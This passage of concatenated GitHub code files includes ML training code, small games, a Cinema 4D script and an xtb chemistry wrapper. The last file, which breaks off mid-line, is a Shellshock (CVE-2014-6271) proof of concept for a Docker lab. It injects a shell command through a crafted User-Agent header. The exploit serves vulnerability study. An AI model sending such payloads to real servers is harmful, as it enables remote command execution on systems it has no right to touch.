GAEModel(int(dataset.attribute_dims[0]), self.hidden_dim,self.device)\n loss_func = nn.BCELoss()\n\n self.model.to(self.device)\n\n optimizer = torch.optim.Adam(self.model.parameters(), lr=self.lr, betas=(self.b1, self.b2))\n\n print(\"*\" * 10 + \"training\" + \"*\" * 10)\n for epoch in range(int(self.n_epochs)):\n train_num = 0\n train_loss = 0\n for index, graph in enumerate(tqdm(dataset.trace_graphs_GAE)):\n graph = graph.to(self.device)\n ms = self.model(graph)\n\n optimizer.zero_grad()\n\n edge_index_T = graph.edge_index.T\n target = torch.zeros(len(ms)).to(self.device)\n for edge in edge_index_T:\n target[len(graph.x) * edge[0] + edge[1]] = 1\n loss = loss_func(ms, target)\n train_loss += loss.item()\n train_num += 1\n loss.backward()\n optimizer.step()\n ## 计算一个epoch在训练集上的损失和精度\n train_loss_epoch = train_loss / train_num\n print(f\"[Epoch {epoch + 1:{len(str(self.n_epochs))}}/{self.n_epochs}] \"\n f\"[loss: {train_loss_epoch:3f}]\")\n\n return self\n\n def detect(self, dataset):\n self.model.eval()\n\n attr_Shape = (dataset.num_cases, dataset.max_len, dataset.num_attributes)\n attr_level_abnormal_scores = np.zeros(attr_Shape)\n\n loss_func = nn.BCELoss()\n\n trace_level_abnormal_scores = []\n\n for index, graph in enumerate(tqdm(dataset.trace_graphs_GAE)):\n graph = graph.to(self.device)\n ms = self.model(graph)\n\n edge_index_T = graph.edge_index.T\n target = torch.zeros(len(ms)).to(self.device)\n for edge in edge_index_T:\n target[len(graph.x) * edge[0] + edge[1]] = 1\n loss = loss_func(ms, target)\n trace_level_abnormal_scores.append(loss.detach().cpu())\n\n trace_level_abnormal_scores = np.array(trace_level_abnormal_scores)\n\n event_level_abnormal_scores = attr_level_abnormal_scores.max((2))\n\n return trace_level_abnormal_scores,event_level_abnormal_scores,attr_level_abnormal_scores\n\n","repo_name":"guanwei49/BPAD","sub_path":"baseline/GAE/gae.py","file_name":"gae.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29032296339","text":"import c4d\nfrom c4d import gui\n\ndef main():\n\n obj = doc.GetFirstObject()\n if not obj: return True\n doc.StartUndo()\n olist = []\n while obj:\n olist.append([-obj.GetMg().off.z,obj])\n obj = obj.GetNext()\n\n olist.sort()\n olist.reverse()\n\n for i,o in enumerate(olist):\n doc.AddUndo(c4d.UNDOTYPE_CHANGE,o[1])\n o[1].Remove()\n doc.InsertObject(o[1],None,None)\n\n c4d.EventAdd()\n doc.EndUndo()\n\nif __name__=='__main__':\n main()","repo_name":"pyrrrrr/c4dScripts","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"72612554969","text":"import logging\nfrom pathlib import Path\n\nimport torch\nimport numpy as np\nimport pandas as pd\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tqdm.auto import tqdm\n\nfrom src import utils\nfrom src.net import get_model\n\n\nclass Trainer:\n def __init__(self, config) -> None:\n utils.set_seed(config.experience.seed)\n\n # dataloader\n self.dataset_dir = config.experience.data_dir\n self.dataset = config.dataset\n\n # transforms\n self.train_transform = utils.get_transform(config.transform, is_train=True)\n self.test_transform = utils.get_transform(config.transform, is_train=False)\n\n # exp paths\n self.exp_dir = Path(config.experience.exp_dir)\n\n # training params\n self.net = get_model(\n config.encoder,\n config.decoder,\n config.experience.quantize_level,\n config.experience.pretrained_weights,\n )\n self.criterion = utils.get_criterion(config.loss)\n self.optimizer = utils.load_obj(config.optimizer.name)(\n self.net.parameters(), **config.optimizer.args\n )\n self.scheduler = utils.load_obj(config.scheduler.name)(\n self.optimizer, **config.scheduler.args\n )\n self.clip_value = config.experience.clip_value\n\n self.device = torch.device(config.experience.device)\n self.n_epochs = config.experience.n_epochs\n self.batch_size = config.experience.batch_size\n self.n_workers = config.experience.n_workers\n self.use_amp = config.experience.use_amp\n\n self.scaler = (\n torch.cuda.amp.GradScaler()\n if self.use_amp and torch.cuda.is_available()\n else None\n )\n\n self.net.to(self.device)\n\n self.max_train_steps = config.experience.max_train_steps if config.experience.max_train_steps else float(\"inf\")\n self.max_test_steps = config.experience.max_test_steps if config.experience.max_test_steps else float(\"inf\")\n\n\n def _get_dataloaders(self) -> tuple[DataLoader, DataLoader]:\n train_dataset = utils.load_obj(self.dataset.name)(\n Path(self.dataset.args.root), stage=\"train\", transform=self.train_transform\n )\n eval_dataset = utils.load_obj(self.dataset.name)(\n Path(self.dataset.args.root), stage=\"val\", transform=self.test_transform\n )\n train_loader = DataLoader(\n train_dataset,\n batch_size=self.batch_size,\n shuffle=True,\n num_workers=self.n_workers,\n pin_memory=True,\n drop_last=True,\n )\n eval_loader = DataLoader(\n eval_dataset,\n batch_size=self.batch_size,\n shuffle=False,\n num_workers=self.n_workers,\n pin_memory=True,\n )\n self.train_steps = len(train_loader)\n self.eval_steps = len(eval_loader)\n\n return train_loader, eval_loader\n\n def train_step(\n self,\n epoch: int,\n data_loader: DataLoader,\n ):\n self.net.train()\n\n # train step\n result_loss = 0\n\n pbar = tqdm(data_loader, total=min(self.max_train_steps, len(data_loader)))\n for bid, (images, targets) in enumerate(pbar):\n if bid >= self.max_train_steps:\n break\n\n with torch.autocast(device_type=self.device.type, enabled=self.use_amp):\n images = images.to(self.device)\n targets = targets.to(self.device)\n output = self.net(images)\n\n loss = sum(c[0](output, images) * c[1] for c in self.criterion)\n\n self.optimizer.zero_grad()\n\n if self.scaler:\n self.scaler.scale(loss).backward()\n else:\n loss.backward()\n\n if self.clip_value:\n self.scaler.unscale_(self.optimizer)\n torch.nn.utils.clip_grad_value_(self.net.parameters(), self.clip_value)\n\n if self.scaler:\n self.scaler.step(self.optimizer)\n self.scaler.update()\n else:\n self.optimizer.step()\n\n result_loss += loss.item()\n\n pbar.set_description(f\"Epoch: {epoch}\")\n pbar.set_postfix_str(f\"Train Loss: {(result_loss / (bid + 1)):.6f}\")\n\n result_loss /= min(self.train_steps, self.max_train_steps)\n\n return result_loss\n\n def eval_step(\n self,\n epoch: int,\n data_loader: DataLoader,\n ):\n self.net.eval()\n\n with torch.no_grad():\n result_loss = 0\n pbar = tqdm(data_loader, total=min(self.max_test_steps, len(data_loader)))\n for bid, (images, targets) in enumerate(pbar):\n if bid >= self.max_test_steps:\n break\n with torch.autocast(device_type=self.device.type, enabled=self.use_amp):\n images = images.to(self.device)\n targets = targets.to(self.device)\n output = self.net(images)\n loss = sum(c[0](output, images) * c[1] for c in self.criterion)\n\n result_loss += loss.item()\n\n pbar.set_description(f\"Epoch {epoch}\")\n pbar.set_postfix_str(f\"Test Loss: {(result_loss / (bid + 1)):.6f}\")\n\n result_loss /= min(self.eval_steps, self.max_test_steps)\n\n return result_loss\n\n def train(self):\n epoch = 0\n best_loss = np.inf\n train_loader, eval_loader = self._get_dataloaders()\n\n tb_writer = SummaryWriter(self.exp_dir / \"tensorboard_logs\")\n\n logging.info(f\"Training for {self.n_epochs - epoch} epochs.\")\n\n while epoch < self.n_epochs:\n # train\n train_loss = self.train_step(epoch, train_loader)\n\n # Logging train\n tb_writer.add_scalar(\"Train/Loss\", train_loss, epoch)\n\n # evaluate\n eval_loss = self.eval_step(epoch, eval_loader)\n\n # Logging valid\n tb_writer.add_scalar(\"Eval/Loss\", eval_loss, epoch)\n tb_writer.add_scalar(\"LR\", self.optimizer.param_groups[0][\"lr\"], epoch)\n\n # scheduler step\n self.scheduler.step()\n\n # Best net save\n # if metrics[\"best_score\"] < eval_score:\n if eval_loss < best_loss:\n best_loss = eval_loss\n checkpoint = {\n \"epoch\": epoch,\n \"loss\": best_loss,\n \"encoder\": self.net.encoder.state_dict(),\n \"decoder\": self.net.decoder.state_dict(),\n \"criterion_state\": [c[0].state_dict() for c in self.criterion],\n \"optimizer_state\": self.optimizer.state_dict(),\n \"scheduler_state\": self.scheduler.state_dict()\n if self.scheduler is not None\n else None,\n }\n # scripted = torch.jit.trace(\n # self.net, train_loader.dataset[0][0].unsqueeze(0).to(self.device)\n # )\n # torch.jit.save(scripted, self.exp_dir / \"best_model.torchscript\")\n torch.save(checkpoint, self.exp_dir / \"best_checkpoint.pth\")\n\n # save last\n checkpoint = {\n \"epoch\": epoch,\n \"loss\": eval_loss,\n \"encoder\": self.net.encoder.state_dict(),\n \"decoder\": self.net.decoder.state_dict(),\n \"criterion_state\": [c[0].state_dict() for c in self.criterion],\n \"optimizer_state\": self.optimizer.state_dict(),\n \"scheduler_state\": self.scheduler.state_dict()\n if self.scheduler is not None\n else None,\n }\n\n # scripted = torch.jit.trace(\n # self.net, train_loader.dataset[0][0].unsqueeze(0).to(self.device)\n # )\n # torch.jit.save(scripted, self.exp_dir / \"last_model.torchscript\")\n torch.save(checkpoint, self.exp_dir / \"last_checkpoint.pth\")\n\n epoch += 1\n\n tb_writer.close()\n logging.info(f\"Training was finished\")\n","repo_name":"traptrip/image-autoencoder","sub_path":"src/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":8201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"40664001602","text":"# 비트 연산\n\narr = [1,2,3]\nN = len(arr)\nfor i in range(1< key:\n end = middle -1\n # key 값보다 클때\n else:\n start = middle + 1\n return -1\n#=================\n#선택 정\ndef selectionSort(a):\n # i : 0 ~ len(n) -1\n for i in range(len(a)-1): #0, 1, 2, 3\n # 최소값 찾기\n min = i\n for j in range(i+1, len(a)):\n if a[min] > a[j]:\n min = j\n #최소값 찾은 인덱스는 이제 min 이다.\n #그 min번째 값이랑 i랑 바꾼다.\n a[i], a[min] = a[min], a[i]\n\narr = [64, 25, 10, 22, 11]\nselectionSort(arr)\nprint(arr)\n#====================\ndef selection(a, k):\n # i : 0 ~ len(n) -1\n for i in range(k): #k번하\n # 최소값 찾기\n min = i\n for j in range(i+1, len(a)):\n if a[min] < a[j]:\n min = j\n #최소값 찾은 인덱스는 이제 min 이다.\n #그 min번째 값이랑 i랑 바꾼다.\n a[i], a[min] = a[min], a[i]\n return a[k-1]\n\ndef selectionSort(a):\n # i : 0 ~ len(n) -1\n for i in range(len(a)-1): #0, 1, 2, 3\n # 최소값 찾기\n min = i\n for j in range(i+1, len(a)):\n if a[min] > a[j]:\n min = j\n #최소값 찾은 인덱스는 이제 min 이다.\n #그 min번째 값이랑 i랑 바꾼다.\n a[i], a[min] = a[min], a[i]\n\narr = [64, 25, 10, 22, 11]\nselectionSort(arr)\nprint(arr)\nprint(selection(arr, 3))\n#==============================\n\"\"\"\n달팽이 문제:\n돌떄 델타 검색 4방향임 오른쪽으로 0 아래로 1 왼쪽으로 2 위로 3\n돌다가 만나면 멈추고, 방향 바꾸고\n\n\"\"\"","repo_name":"hsy118/algorithm","sub_path":"0805/lectrue 오후.py","file_name":"lectrue 오후.py","file_ext":"py","file_size_in_byte":2338,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38694488589","text":"def print_board(board):\n for row in board:\n print(\"|\".join(row))\n print(\"-\" * 5)\n\ndef check_win(board, player):\n for i in range(3):\n if all(cell == player for cell in board[i]):\n return True\n if all(board[j][i] == player for j in range(3)):\n return True\n if board[0][0] == board[1][1] == board[2][2] == player:\n return True\n if board[0][2] == board[1][1] == board[2][0] == player:\n return True\n return False\n\ndef play_game():\n board = [[\" \" for _ in range(3)] for _ in range(3)]\n players = [\"X\", \"O\"]\n current_player = 0\n game_over = False\n\n while not game_over:\n print_board(board)\n player = players[current_player]\n print(\"Player\", player)\n row = int(input(\"Enter the row (0-2): \"))\n col = int(input(\"Enter the column (0-2): \"))\n\n if board[row][col] == \" \":\n board[row][col] = player\n\n if check_win(board, player):\n print_board(board)\n print(\"Player\", player, \"wins!\")\n game_over = True\n elif all(board[i][j] != \" \" for i in range(3) for j in range(3)):\n print_board(board)\n print(\"It's a tie!\")\n game_over = True\n else:\n current_player = (current_player + 1) % 2\n else:\n print(\"Invalid move. Try again.\")\n\nplay_game()\n\n","repo_name":"navyasreemaniginti/Internpe_tic_tac_toe","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14436079353","text":"VERSION = \"0.5.5\"\n\nimport os\nimport sys\n\n# from rich import inspect\n# * ↑ for debugging\n\ntry:\n import argparse\nexcept ImportError:\n print(\"Please install argparse. E.g. 'pip install argparse'\")\n sys.exit(1)\ntry:\n import subprocess\nexcept ImportError:\n print(\"Please install subprocess. E.g. 'pip install subprocess'\")\n sys.exit(1)\n\n#!##############################################################################\n#! PART 1 #\n#!##############################################################################\n#! Check if programms are all installed in order for the script to work.\n\n# * Show the OS running this script\nOPERATING_SYTEM = sys.platform\nWIN_OS_BOOL = (\n False if sys.platform in (\"darwin\", \"linux\", \"linux2\") else True\n) # * Check if OS is Windows\n\n#! Part 1.1 -> Check if xtb and obabel are installed and then\n#! find the correct path to the xtb executable and store in variable\n# * Get the right xtb executable format depending on the OS\ntry:\n XTB_PATH = (\n subprocess.run(\n [\"where.exe\", \"xtb\"], stdout=subprocess.PIPE, check=True\n ).stdout.decode(\"utf-8\")\n if WIN_OS_BOOL\n else subprocess.run(\n [\"which\", \"xtb\"], stdout=subprocess.PIPE, check=True\n ).stdout.decode(\"utf-8\")\n )\n xtb_bin = XTB_PATH.strip()\nexcept subprocess.CalledProcessError:\n print(\"xtb not found. Please install xtb and make sure it is added to PATH.\")\n sys.exit(1)\n\n\n#! Part 1.2 -> Search for OpenBabel (obabel) executable\ntry:\n OPENBABEL_PATH = (\n subprocess.run(\n [\"where.exe\", \"obabel\"], stdout=subprocess.PIPE, check=True\n ).stdout.decode(\"utf-8\")\n if WIN_OS_BOOL\n else subprocess.run(\n [\"which\", \"obabel\"], stdout=subprocess.PIPE, check=True\n ).stdout.decode(\"utf-8\")\n )\n obabel_bin = OPENBABEL_PATH.strip()\nexcept subprocess.CalledProcessError:\n print(\n \"obabel not found. Please install OpenBabel and make sure it is added to PATH, \\\n if you want to use the full capability of this scipt.\"\n )\n sys.exit(1)\n\n\n#!##############################################################################\n#! PART 2 #\n#!##############################################################################\n#! Create parser to get the arguments from the command line.\n\n# * Create the parser\nxtb_parser = argparse.ArgumentParser(\n prog=\"run_xtb.py\",\n usage=\"%(prog)s xyz_file [options]\",\n description=f\"Run a XTB calculation for a given xyz file. \\\n Optimization and frequency calculations are done per default. -> Script Version {VERSION}\",\n)\nxtb_parser.add_argument(\n \"xyz_file\", #! Positional argument\n metavar=\"xyz_file\",\n type=str,\n help=\"The xyz file to run the calculation on. Add .xyz extension to name (e.g. my_mol.xyz)\",\n)\nxtb_parser.add_argument(\n \"--opt\",\n action=\"store_true\",\n help=\"If you only want to run the geometry optimization without frequency \\\n analysis / thermochemistry.\",\n)\nxtb_parser.add_argument(\n \"--hess\",\n \"--freq\",\n action=\"store_true\",\n help=\"If you only want to run the frequency calculation without optimization.\",\n)\nxtb_parser.add_argument(\n \"-C\",\n \"--chrg\", #! Optional argument\n metavar=\"charge\",\n type=int,\n default=\"0\",\n help=\"The charge of the molecule. (default: %(default)s)\",\n)\nxtb_parser.add_argument(\n \"-P\",\n \"--parallel\", #! Optional argument\n metavar=\"ncores\",\n type=int,\n default=4,\n help=\"Number of cores for parallel calculation. (default: %(default)s)\",\n)\nxtb_parser.add_argument(\n \"-N\",\n \"--namespace\", #! Optional argument\n metavar=\"Name\",\n type=str,\n help=\"The name of the calculation\",\n)\nxtb_parser.add_argument(\n \"-v\", #! Optional argument\n \"--verbose\",\n action=\"store_true\",\n default=False,\n help=\"Longer output. (default: %(default)s)\",\n)\nxtb_parser.add_argument(\n \"--lmo\", action=\"store_true\", help=\"Localization of orbitals.\" #! Optional argument\n)\nxtb_parser.add_argument(\n \"--molden\",\n action=\"store_true\",\n help=\"Molden output for orbitals.\", #! Optional argument\n)\nxtb_parser.add_argument(\n \"-S\",\n \"--solvent\",\n metavar=\"SOLVENT\",\n type=str,\n help=\"The solvent to use for the calculation. Possible solvents \\\n (or common short names): \\\n acetonitrile, aniline, benzaldehyde, benzene, ch2cl2, chcl3, \\\n cs2, dioxane, dmf, dmso, ether, ethylacetate, furane, hexandecane,\\\n hexane, methanol, nitromethane, octanol, woctanol, phenol, toluene, \\\n thf, h2o. (ALPB methode)\",\n)\nxtb_parser.add_argument(\n \"--uhf\",\n type=str,\n metavar=\"MULT\",\n help=\"If you want to run in unrestricted Hartree Fock mode to account for \\\n non-Singulett states.\",\n)\nxtb_parser.add_argument(\n \"--chem3d\",\n action=\"store_true\",\n help=\"If you want to use the Chem3D to view the resulting xyz. (Tinker xyz)\",\n)\nxtb_parser.add_argument(\n \"--esp\",\n action=\"store_true\",\n help=\"Calculate the electrostatic potential on VdW-grid.\",\n)\nxtb_parser.add_argument(\n \"--omd\",\n action=\"store_true\",\n help=\"Run and MD calculation, but optimize the geometry first.\",\n)\nxtb_parser.add_argument(\n \"--md\",\n action=\"store_true\",\n help=\"Run and MD calculation wihout optimization first.\",\n)\nxtb_parser.add_argument(\n \"--input\",\n metavar=\"INPUT\",\n type=str,\n help=\"The input file to change parameters for the calculation. In the Turbomole (xcoord) format.\",\n)\nxtb_parser.add_argument(\n \"--add\",\n nargs=argparse.REMAINDER,\n help=\"Any remaining arguments are passed to XTB.\",\n)\nxtb_parser.add_argument(\"--version\", action=\"version\", version=f\"{VERSION}\")\n\nsolvent_dict = {\n \"acetone\": [\"acetone\", \"Aceton\", \"(CH3)2CO\"],\n \"acetonitrile\": [\"acetonitrile\", \"ACN\", \"Acetonitrile\", \"Acetonitril\", \"AcN\"],\n \"aniline\": [\"aniline\", \"ANI\", \"Aniline\", \"Anil\"],\n \"benzaldehyde\": [\"benzaldehyde\", \"BEN\", \"Benzaldehyde\", \"Benzal\", \"Benzaldehyd\"],\n \"benzene\": [\"benzene\", \"Benzene\", \"Benzol\"],\n \"ch2cl2\": [\"ch2cl2\", \"CH2CL2\", \"DCM\", \"Dichloromethane\", \"Dichlormethan\"],\n \"chcl3\": [\"chcl3\", \"CHCL3\", \"Chloroform\", \"Chloroforme\", \"chloroform\"],\n \"ccl4\": [\"ccl4\", \"CCl4\", \"Carbontet\", \"Tetrachlormethan\"],\n \"cs2\": [\"cs2\", \"CS2\", \"Carbonsulfide\", \"Carbonsulfid\", \"carbonsulfide\"],\n \"dioxane\": [\"dioxane\", \"Dioxane\", \"Dioxal\"],\n \"dmf\": [\"dmf\", \"DMF\", \"Dimethylformamide\", \"Dimethylformamid\", \"dimethylformamide\"],\n \"dmso\": [\"dmso\", \"DMSO\", \"Me2SO\"],\n \"ether\": [\"ether\", \"ETHER\", \"Ether\", \"diethylether\", \"Diethylether\"],\n \"ethylacetate\": [\"ethylacetate\", \"ETAC\", \"Ethylacetat\", \"Ethylacetate\"],\n \"furane\": [\"furane\", \"FUR\", \"Furan\"],\n \"h2o\": [\n \"water\",\n \"WAT\",\n \"Water\",\n \"Wasser\",\n \"H2O\",\n \"h2o\",\n ], #! This was wrong -> \"h2o\" not \"water\"\n \"hexandecane\": [\"hexandecane\", \"HEX\", \"Hexandecane\"],\n \"hexane\": [\"hexane\", \"HEX\", \"Hexane\", \"Hexan\"],\n \"methanol\": [\"methanol\", \"METH\", \"Methanol\"],\n \"nitromethane\": [\"nitromethane\", \"NIT\", \"Nitromethane\", \"Nitromethan\"],\n \"octanol\": [\"octanol\", \"OCT\", \"Oct-OH\"],\n \"woctanol\": [\"woctanol\", \"WOCT\", \"Water octanol\", \"Wasser_Octanol\"],\n \"phenol\": [\"phenol\", \"PHEN\", \"Phenol\"],\n \"toluene\": [\"toluene\", \"TOL\", \"Toluene\", \"Toluol\"],\n \"thf\": [\"thf\", \"THF\", \"Tetrahydrofuran\", \"tetrahydrofurane\"],\n}\n\n\ndef get_solvent(solvent_user_inp):\n \"\"\"\n Helper function for solvent from solvent_dict.\n \"\"\"\n for solvent, solvent_names in solvent_dict.items():\n if solvent_user_inp in solvent_names:\n return solvent\n\n\n# * Execute the parse_args() method\nargs = xtb_parser.parse_args()\naddit_args = args.add if args.add else []\n# print(inspect(args)) #* for debugging\n\n#! Run the calculation, acutal programm:\nif __name__ == \"__main__\":\n cwd = os.getcwd()\n xyz_file = os.path.basename(args.xyz_file)\n\n # * Gather the options for the calculation\n options = []\n\n # * Define and check the name of the job (needed for input file)\n if args.namespace: #! If the user has defined a namespace, use it\n namespace = args.namespace\n options.append(\"--namespace\")\n options.append(namespace)\n else: #! If not, use the name of the xyz file\n namespace = os.path.splitext(os.path.basename(xyz_file))[0]\n options.append(\"--namespace\")\n options.append(namespace) # * this has to be a new entry\n\n # * Check if the user added an input file manually\n if args.input:\n options.append(\"--input\")\n # * Check if the input file exists and is a file\n if os.path.isfile(args.input):\n input_file = os.path.basename(args.input)\n options.append(input_file)\n else:\n print(f\"The input file {args.input} does not exist.\")\n sys.exit(1)\n\n # * The type of job: (O)MD, GeoOpt, SP, Hess,\n job_type = []\n\n OPT_BOOL, HESS_BOOL = True, True\n MD_BOOL = False\n\n if args.omd:\n job_type.append(\"--omd\")\n HESS_BOOL, MD_BOOL = False, True\n if not args.input:\n if os.path.isfile(os.path.join(cwd, f\"{namespace}.inp\")):\n # * If no input file is given, search for .inp with namespace as xyz_file\n options.append(\"--input\")\n options.append(f\"{namespace}.inp\")\n input_file = args.input = f\"{namespace}.inp\"\n else:\n print(\"You need to specify an input file for the MD calculation.\")\n sys.exit(1)\n elif args.md:\n job_type.append(\"--md\")\n OPT_BOOL, HESS_BOOL, MD_BOOL = False, False, True\n if not args.input:\n if os.path.isfile(os.path.join(cwd, f\"{namespace}.inp\")):\n # * If no input file is given, search for .inp with namespace as xyz_file\n options.append(\"--input\")\n options.append(f\"{namespace}.inp\")\n input_file = args.input = f\"{namespace}.inp\"\n else:\n print(\"You need to specify an input file for the MD calculation.\")\n sys.exit(1)\n else:\n if args.hess:\n job_type.append(\"--hess\")\n OPT_BOOL = False\n elif args.opt:\n job_type.append(\"--opt\")\n HESS_BOOL = False\n else:\n job_type.append(\"--ohess\")\n # * Why would one do a SP with XTB? -> not implemented\n # * use xtb direct call instead …\n\n if args.chrg:\n options.append(\"--chrg\")\n options.append(str(args.chrg))\n else:\n options.append(\"--chrg\")\n options.append(\"0\")\n\n # ? Add --parallel option ALWAYS, only the ncore changes\n options.append(\"--parallel\")\n options.append(str(args.parallel))\n\n if args.verbose:\n options.append(\"--verbose\")\n\n if args.lmo:\n options.append(\"--lmo\")\n\n if args.molden:\n options.append(\"--molden\")\n\n if args.esp:\n options.append(\"--esp\")\n\n if args.solvent:\n try:\n SOLVENT = get_solvent(args.solvent)\n if SOLVENT:\n options.append(\"--alpb\")\n options.append(SOLVENT)\n else:\n raise ValueError(\"Solvent not found\")\n except ValueError:\n print(\n f\"The solvent '{args.solvent}' is not supported.\\n\\\n Possible solvents are:\\n\\n {', '.join(solvent_dict.keys())}\"\n )\n sys.exit(1)\n\n if args.uhf:\n multip = args.uhf\n options.append(\"--uhf\")\n options.append(multip)\n\n # * mkdir temp1 folder for xtb files\n temp1_path = os.path.join(cwd, \"temp1\")\n if not os.path.isdir(temp1_path):\n os.mkdir(temp1_path)\n\n # * copy .xyz file to temp1 folder\n _ = (\n os.system(f\"copy {xyz_file} {temp1_path}\")\n if WIN_OS_BOOL\n else os.system(f\"cp {xyz_file} {temp1_path}\")\n )\n\n # * copy input file (if exists) to temp1 folder\n if args.input:\n _ = (\n os.system(f\"copy {input_file} {temp1_path}\")\n if WIN_OS_BOOL\n else os.system(f\"cp {input_file} {temp1_path}\")\n )\n\n ############################\n # * change to temp1 folder\n ############################\n os.chdir(temp1_path)\n\n # *---------------------------------#\n # * Run the calculation\n # ? you should not use os.system -> use subprocess.run instead\n # *---------------------------------#\n\n xtb_call_cmds = [f\"{xtb_bin}\", f\"{xyz_file}\", *job_type, *options, *addit_args]\n # * if addit_args is empty it is ignored\n with open(f\"{namespace}.out\", \"w\", encoding=\"utf-8\") as out:\n subprocess.run(\n xtb_call_cmds,\n stdout=out,\n check=True,\n shell=WIN_OS_BOOL,\n text=True, # * to capture stdout as string\n )\n # *---------------------------------#\n\n print(36 * \"-\")\n print(\"*\" + \"XTB RUN FINISHED!\".center(34, \" \") + \"*\")\n print(36 * \"-\")\n\n # * End of job\n # * 1. Run obabel to convert the output to .molden format if HESS_BOOL is True\n # * 2. Move the '_FREQ.molden' file to the original folder\n\n # *--------------------------------------------#\n # * Run rename of xtbopt.log for OPT jobs only\n # *--------------------------------------------#\n\n copy_file_list = [\n f\"{temp1_path}\\\\{namespace}{ext}\"\n for ext in (\n \".out\",\n \".xtbopt.xyz\",\n )\n ]\n\n if OPT_BOOL:\n if not os.path.isfile(f\"{namespace}.xtbopt.trj.xyz\"):\n os.rename(f\"{namespace}.xtbopt.log\", f\"{namespace}.xtbopt.trj.xyz\")\n else:\n os.remove(f\"{namespace}.xtbopt.trj.xyz\")\n os.rename(f\"{namespace}.xtbopt.log\", f\"{namespace}.xtbopt.trj.xyz\")\n\n copy_file_list.append(f\"{temp1_path}\\\\{namespace}.xtbopt.trj.xyz\")\n\n if HESS_BOOL:\n subprocess.run(\n [\n obabel_bin,\n f\"{namespace}.g98.out\",\n \"-i\",\n \"g98\",\n \"-o\",\n \"molden\",\n \"-O\",\n f\"{namespace}_FREQ.molden\",\n ],\n stdout=subprocess.PIPE,\n check=True,\n shell=WIN_OS_BOOL,\n )\n\n if args.hess:\n copy_file_list = []\n copy_file_list.append(\n f\"{temp1_path}\\\\{namespace}.out\"\n ) # only in pure hess run needed\n\n copy_file_list.append(f\"{temp1_path}\\\\{namespace}_FREQ.molden\")\n\n if MD_BOOL:\n trj_filename = f\"{namespace}.xtb.trj\"\n new_trj_filename = f\"{namespace}.xtb.trj.xyz\"\n # * rename the xtb.trj file to .xtb.trj.xyz\n os.rename(trj_filename, new_trj_filename)\n # * add the .xtb.trj.xyz file to the copy list\n copy_file_list.append(f\"{temp1_path}\\\\{new_trj_filename}\")\n\n os.chdir(\"..\")\n\n copy_cmds = [\n (\"copy \" + filename + \" \" + cwd).split()\n if WIN_OS_BOOL\n else (\"cp \" + filename + \" \" + cwd).split()\n for filename in copy_file_list\n ]\n _ = [subprocess.run(cmd, check=True, shell=WIN_OS_BOOL) for cmd in copy_cmds]\n\n print(37 * \"-\")\n print(\"*\" + \"Importants files copied to CWD\".center(35, \" \") + \"*\")\n print(37 * \"-\")\n\n # * OLD CODE\n if args.chem3d:\n # * Additional conversion to \"chem3d format\"\n print(45 * \"-\")\n print(\"*\" + \"Converting to chem3d format (tinker.xyz)\".center(43, \" \") + \"*\")\n print(45 * \"-\")\n\n # * Run obabel\n subprocess.run(\n [\n obabel_bin,\n f\"{namespace}.xtbopt.xyz\",\n \"-i\",\n \"xyz\",\n \"-o\",\n \"txyz\",\n \"-O\",\n f\"{namespace}_tinker.xyz\",\n ],\n stdout=subprocess.PIPE,\n check=True,\n shell=WIN_OS_BOOL,\n )\n\n print(45 * \"-\")\n print(\"*\" + \"Conversion to chem3d format done\".center(43, \" \") + \"*\")\n print(45 * \"-\")\n","repo_name":"MartinRJDagleish/Scripts","sub_path":"run_xtb_old.py","file_name":"run_xtb_old.py","file_ext":"py","file_size_in_byte":16129,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27920998246","text":"import random\nimport traceback\n\n# print(answer)\ndef numguess(try_cnt = 5, answer = random.randint(1,100)):\n while True:\n if try_cnt == 0:\n print(\"기회를 모두 소진하였습니다.\\n 정답은 {} 였습니다.\".format(answer))\n break\n try:\n n = int(input(\"입력해주세요: \"))\n except Exception as e:\n # traceback.print_exc()\n print(e)\n else:\n if n == answer:\n print(\"정답은 {} 였습니다.\".format(answer))\n break\n elif n < answer:\n print(\"정답은 {}보다 큽니다.\".format(n))\n else:\n print(\"정답은 {}보다 작습니다.\".format(n))\n try_cnt -= 1\n\n\nnumguess()","repo_name":"minhee0327/TIL2020","sub_path":"01_컴퓨터공학/05_Basic_Python/first_project/12_exception/example02_numguess.py","file_name":"example02_numguess.py","file_ext":"py","file_size_in_byte":771,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16163436041","text":"#!/usr/bin/env python\r\n# -*- coding: utf-8 -*-\r\n# python version 3.6.4\r\n# 简介:\r\n# 脚本适用于docker下的vulapps环境,使用\r\n# docker run -d -p 80:80 medicean/vulapps:b_bash_shellshock1\r\n# 可直接运行。\r\n# 具体信息参见github地址\r\n# https://github.com/Medicean/VulApps/tree/master/b/bash/shellshock1_CVE-2014-6271\r\n\r\nimport sys\r\nimport http.client\r\n\r\nargc = len(sys.argv) - 1\r\nargv = sys.argv[1:]\r\nif argc == 0 or argc > 3:\r\n print(\"用法:python\",sys.argv[0],\"IP地址 端口号 路径\")\r\n print(\"例如:url为http://127.0.0.1/cgi-bin/poc.cgi,则IP地址应为192.168.13.129,端口号应为80,路径应为/cgi-bin/poc.cgi\")\r\n sys.exit()\r\n\r\nip = \"127.0.0.1\"\r\nport = 80\r\nurl = \"/cgi-bin/poc.cgi\"\r\n\r\nif argc >= 1:\r\n ip = argv[0]\r\nif argc >= 2:\r\n port = argv[1]\r\nif argc == 3:\r\n url = argv[2]\r\n\r\ntry:\r\n conn = http.client.HTTPConnection(ip, port)\r\nexcept http.client.HTTPException as e:\r\n print(e.__cause__)\r\n\r\ntry:\r\n header = {\"User-Agent\": \"() { :;}; echo;echo $(/bin/ls 